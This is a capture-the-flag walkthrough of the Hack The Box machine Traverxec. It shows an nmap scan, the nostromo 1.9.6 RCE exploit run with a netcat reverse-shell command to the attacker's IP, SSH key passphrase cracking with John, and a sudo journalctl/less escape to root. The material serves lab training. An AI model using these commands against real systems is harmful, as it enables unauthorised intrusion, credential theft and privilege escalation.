$nmap -T4 -A -p- 10.10.10.165
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-04 10:03 CET
Nmap scan report for 10.10.10.165
Host is up (0.039s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.52 secondsOpen ports:
- 22/tcp open ssh OpenSSH 7.9p1 Debian
- 80/tcp open http nostromo 1.9.6
Nostromo v1.9.6 web server (http://www.nazgul.ch/dev_nostromo.html)
$searchsploit nostromo
Nostromo - Directory Traversal Remote Command Execution (Metasploit) | multiple/remote/47573.rb
nostromo 1.9.6 - Remote Code Execution | multiple/remote/47837.py
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution | linux/remote/35466.sh Our web server is vulnerable to an RCE… 🙂
$searchsploit -m 47837
Exploit: nostromo 1.9.6 - Remote Code Execution
URL: https://www.exploit-db.com/exploits/47837
Path: /usr/share/exploitdb/exploits/multiple/remote/47837.py
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /home/ruben/htb/traverxec/47837.py$python 47837.py 10.10.10.165 80 "nc -e bash 10.10.14.15 1234"
$nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.165] 42892whoami
www-datapython3 -c "import pty;pty.spawn('/bin/bash')"
www-data@traverxec:/usr/bin$We are www-data, let’s enumerate a little bit.
www-data@traverxec:/var/nostromo/conf$ ls -la
ls -la
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27 2019 .
drwxr-xr-x 6 root root 4096 Oct 25 2019 ..
-rw-r--r-- 1 root bin 41 Oct 25 2019 .htpasswd
-rw-r--r-- 1 root bin 2928 Oct 25 2019 mimes
-rw-r--r-- 1 root bin 498 Oct 25 2019 nhttpd.confwww-data@traverxec:/var/nostromo/conf$ cat .htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/$chmod 600 david.key
$ssh -i david.key david@10.10.10.165
Enter passphrase for key 'david.key':It needs a password, but we can crack it using John.
$python /usr/share/john/ssh2john.py david.key > david_key.hash
$john david_key.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (david.key)
1g 0:00:00:06 96,37% (ETA: 13:23:03) 0.1663g/s 2303Kp/s 2303Kc/s 2303KC/s 08131517..0813137355$ssh -i david.key david@10.10.10.165
Enter passphrase for key 'david.key':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
david@traverxec:~$david@traverxec:~$ ls
bin public_www user.txtdavid@traverxec:~$ cat user.txt
7db0XXXXXXXXXXXXXXXXXXXXXXXXXXXXdavid@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
david@traverxec:~/bin$david@traverxec:~/bin$ ./server-stats.sh
Load: 07:39:46 up 3:38, 1 user, load average: 0.00, 0.01, 0.00
Open nhttpd sockets: 2
Files in the docroot: 117
Last 5 journal log lines:
-- Logs begin at Fri 2020-12-04 04:01:12 EST, end at Fri 2020-12-04 07:39:46 EST. --
Dec 04 04:01:14 traverxec systemd[1]: Starting nostromo nhttpd server...
Dec 04 04:01:14 traverxec nhttpd[421]: started
Dec 04 04:01:14 traverxec nhttpd[421]: max. file descriptors = 1040 (cur) / 1040 (max)
Dec 04 04:01:14 traverxec systemd[1]: Started nostromo nhttpd server.
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat Journalctl is a utility for querying and displaying logs from journald, systemd’s logging service.
https://www.loggly.com/ultimate-guide/using-journalctl/
david@traverxec:~/bin$ ls -la /usr/bin/journalctl
-rwxr-xr-x 1 root root 67672 Aug 20 2019 /usr/bin/journalctlAccording to the journalctl man page:
The output is paged through less by default, and long lines are "truncated" to screen width. The hidden part can be viewed by using the left-arrow and right-arrow keys. Paging can be disabled; see the --no-pager option and the "Environment" section below.And taking into account that based on less help,
!command Execute the shell command with $SHELL.! command can be used to run commands.
More information can be found here:Â https://gtfobins.github.io/gtfobins/journalctl/
Here there is a trick related to less and its purpose to get this result. I got stuck here for a long time, but I was funny when I realized 🙂
root@traverxec:/home/david/bin# cat /root/root.txt
9aa3XXXXXXXXXXXXXXXXXXXXXXXXXXXX